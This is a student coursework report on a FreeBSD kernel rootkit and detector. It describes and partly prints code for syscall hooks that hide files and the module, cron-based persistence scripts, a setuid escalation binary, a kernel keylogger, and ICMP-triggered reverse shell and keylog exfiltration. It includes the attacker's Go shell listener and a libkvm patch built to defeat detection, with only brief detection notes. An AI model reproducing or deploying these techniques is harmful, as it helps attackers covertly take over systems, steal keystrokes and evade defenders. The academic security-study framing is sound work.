FreeBSD Rootkit Final Report

72303074

Johnathan Liauw (z5136212)
Amrut Ray (z5181159)
JunYang Sim (z5161631)
Jeffrey Hung (z5098918)

Installation Process:

The main functions of the rootkit are inside the kernel module rootkit.ko and a system call is created to activate the different functions implemented, then a controller binary is installed in /sbin which will do the system call to rootkit with the proper arguments.

During the initial installation, the kernel module is loaded and the C programs (priv_esc.c for privilege escalation, daemon.c to listen to remote instructions) are compiled and moved to different directories as a way to spread the files out. The original source codes are then removed. The crontab is also edited to enable reboot persistence and the rootkit is reinstalled with the same install file but with a different process (explained under Reboot Persistence).

Escalating Privileges

During installation, a setuid binary is installed in /sbin and is hidden by the rootkit so it won't be listed with ls and find. Executing 'elevate' (located in the same directory as the install) will escalate the privileges to root.

Methods of Hiding Rootkit:

For the midpoint rootkit, since we don't have any running process or port, we only hide the files and binaries we used from being listed in ls and find, we also prevented the kernel module from listing in kldstat.

To hide the files and binaries from ls and find, we hook the system call getdirentries with our own function which will call getdirentries first but instead of returning right after that, we will go through the directory entries it returned and check if there were any files or binaries we don't want to show. If any of them match, we'll cut it out by overwriting it with the next entry and finally changing the transferred size as we removed the entries

To hide the kernel module from kldstat, it is done by remove the linker_file and module struct from the linker_files and modules lists, we used the different macro functions to go through the list and remove them when a match is found.

Extra Features

Reboot Persistence:

To achieve this, we utilised the task scheduling function of a crontab. During the installation, a crontab is created (owned by root) which calls the installation executable itself with the IP of remote as the argument.

```
if [ ! -e /var/cron/tabs/root ] || [ -s /var/cron/tabs/root ]; then
        echo "SHELL = /bin/sh" > persistence
        echo "* * * * * /etc/install $1" >> persistence
        crontab persistence
        rm persistence
fi
```

This is scheduled to run every minute, however there are specific conditions inside the executable which will only install itself under specific conditions. The following snippet shows how the installation is checked.

```
if [ ! -e /dev/cd ]; then
        /sbin/kldload /boot/kernel/rootkit.ko
        echo "" > /log.txt
        chmod 666 /log.txt
        /lib/daemon $1 &
        /sbin/controller on
fi
```

We utilise a character device (/dev/cd) for the remote shell function and which is created during installation/reinstallation. They are removed on shut down and reboot by the system. Therefore after the infected system has been rebooted, the character device will cease to exist which will indicate that our rootkit is now offline (kernel module needs reloading, background process for remote functionality needs to restart). The character device is a strong indicator as to whether the rootkit is loaded (as without it, the functionality won't work), thus making it a reliable check on the infected system.

The install script have checking to make sure no compilation errors to prevent error messages popping when it is running in the background.

```
if [ ! -e /dev/cd ]; then
    /sbin/kldload /boot/kernel/rootkit.ko
    /lib/daemon $1 &
    /sbin/controller on
    echo "" > /log.txt
    chmod 666 /log.txt
fi

RESULT=`pgrep daemon`

if [ "${RESULT:-null}" = null ]; then
    /lib/daemon $1 &
    /sbin/controller on
    chmod 666 /log.txt
fi
```

Key Logging:

The system call ‘read’ is hooked within the kernel module and every character that is inputted from stdin is checked. If the character is a keystroke, the single character is then copied over from kernel space into user space. We also make sure that the character is printable before writing to the log file to make sure that it will not break.

The file ‘log.txt’ located at /root is used to store these keystrokes. The file is opened with kern_openat (opened to the current thread), with read/write, create and append flags with permissions 0666. The character is first stored inside a local array, and using the structs of IOVEC (contains the starting address of buffer, number of bytes to transfer) and UIO (contains information on where to write to from within kernel space). The character is then written with the use of kern_writev, writing from the UIO struct, to the file descriptor (which was set to the current thread by kern_openat).

Reverse Shell & Log File Exfiltration:

<u>Character Device:</u>
We created a character device with basically just read function, when reading from it, it will return a command string stored in the rootkit kernel module, depending on what operation we want, it will be a different command. It acts as a link between the kernel module and the userspace daemon since it is hard to implement reverse shell and file transfer for the log file in a kernel module.

Daemon:
It is a background running process which will constantly check the character device, if what it read is a known command, it will perform the corresponding action, including reverse shell and sending out log file. The daemon program is written in Golang, thanks to that concurrent problems are solved nicely.

Icmp Input Hook:
We hooked the icmp_input function so that whenever the host is pinged, our hooked function will check if there is a magic string in the icmp data field. If there is, it will then write the corresponding command to the string that the character device will read from.

Master:
This is the program running on the remote machine, it can ping the host machine with the right magic character until a key log file or reverse shell connection is received depending what your argument is. The master program is also written in Golang, the code is not included in the submission but if you want it just tell us. We will show you some important part.

```go
func listenShell(wg *sync.WaitGroup) {
    defer wg.Done()
    l, err := net.Listen("tcp", ":"+PORT)
    if nil != err {
        log.Fatalf("Could not bind to interface", err)
    }
    defer l.Close()
    c, err := l.Accept()
    if nil != err {
        log.Fatalf("Could not accept connection", err)
    }
    close(pause)
    fmt.Println("Something is coming from", c.RemoteAddr())
    fmt.Println("A Shit Shell is Spawned :)")
    // I am HaCk1nG LOL
    go io.Copy(c, os.Stdin)
    io.Copy(os.Stdout, c)
}
```

```go
func main() {
    var wg sync.WaitGroup
    if "key" == os.Args[2][:3] {
        fmt.Println("Yeeting For Keylog...")
        wg.Add(1)
        go receiveLog(&wg)
        go ping("yeet")
    } else if "shell" == os.Args[2][:5] {
        fmt.Println("Nani A Reverse Shell !??")
        wg.Add(1)
        go listenShell(&wg)
        go ping("nani")
    }
    wg.Wait()
}

var pause = make(chan bool)
```

Changes Made

Reboot Persistence:

- Utilising crontabs to automatically and periodically install/check the status of the rootkit

Key Logging:

- Added character checks during reading process so only ASCII values are being written to the log.txt
- Added feature to exfiltrate log.txt to a remote machine

Network connection:

- Added remote connection functionality to enable remote shells and to exfiltrate files

Character Device:

- Created a character to act as link between the kernel module and userland background process

Detection Methods:

Syscall Hooking Detection:

In case any of the freebsd syscalls located in init_sysent.h “System call switch table” are hooked the address sysent struct points to will be different than the original function. By comparing all the functions in this System call switch table we can find hooking. This relatively easy way of hooking has its drawbacks as it method can be subverted by runtime kernel memory patching. But Runtime kernel Memory patching can be a difficult task so it's a relatively good defence against basic rootkits that rely on syscall hooks.

Change In Utility Programs:

We generated a list of MD5 hashed of all the programs in /bin and /sbin, in case anyone tried to modify them by adding secret functions while maintaining original function, it will be detected by the change in hash which acts as a signature.

Detecting Our Rootkit

Currently our rootkit is not being detected be our detector, as we modified the libkvm to hide from syscall hooking and did not change any utility function. However there are a few ways we can think of to detect it.

- Monitor all outgoing traffic and look for keywords such as ls, pwd, sh, bash, etc. These can indicate a reverse shell.

- Check the crontab jobs, we used a crontab job to enable reboot persistency, if the detector can look at the script we call in it carefully, it might able to realise that it is a rootkit
- Check the hash of lib and shared libraries as well, it might then found out that a library object is being modified.

Design Choices (Rootkit / Detector):

Privilege Escalation:

At first we were thinking of hooking the execve system call so that we can do a execution redirection from utility functions such as /usr/bin/true to the setuid binary but we realised it is actually the same thing as just hiding it and is pointless to do the extra step so to elevate, we will just call it with it's absolute path /sbin/priv_esc.

Rootkit Hiding:

For the final rootkit, we have a daemon process running in the background but we did not hide it since I think it might be unnecessary as it is hard to determine whether a process is from a rootkit or not. However since we used syscall hooking, it might be detected by checking the syscall entry list addresses with the kernel symbol list addresses. We attempt to hide from this by modifying the source code of libkvm which is used to get the syscall symbol table, when looking for syscall that we have hooked, rather than returning the address from the syscall symbol table, it will return from the syscall entry list and thus they will be comparing the same thing. The function we modified is the kvm_nlist().

The libkvm is modified then recompiled.

```
if [ -e kvm_tmp.c ]; then
    mv kvm_tmp.c /usr/src/lib/libkvm/kvm.c
    cd /usr/src/lib/libkvm/
    make clean
    make
    mv /lib/libkvm.so.7 /lib/.libkvm
    mv libkvm.so.7 /lib/libkvm.so.7
    make clean
    rm -f .depend*
fi
```

Part of the modified libkvm

```
if (strcmp(nl[i].n_name, "sys_read") == 0) {
    if (kvm_nlist(kd, lol) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(-1);
    }
    if (!lol[0].n_value){
        exit(-1);
    }
    addr = lol[0].n_value + 3 * sizeof(struct sysent);
    if (kvm_read(kd, addr, &call, sizeof(struct sysent)) < 0) {
        exit(-1);
    }
    nl[i].n_value = (uintptr_t)call.sy_call;
}
else if (strcmp(nl[i].n_name, "sys_getdirentries") == 0) {
    if (kvm_nlist(kd, lol) < 0) {
    fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(-1);
    }
    if (!lol[0].n_value){
        exit(-1);
    }
    addr = lol[0].n_value + 196 * sizeof(struct sysent);
    if (kvm_read(kd, addr, &call, sizeof(struct sysent)) < 0) {
        exit(-1);
    }
    nl[i].n_value = (uintptr_t)call.sy_call;
}
else {
    nl[i].n_value = kl[i].n_value;
}
```

Detection:

We decided to keep the detection simple since it is easy to create false positive if we assume any extra files, unknown process or outgoing network traffic as a rootkit. Therefore we decided to play safe and only look for very specific signs.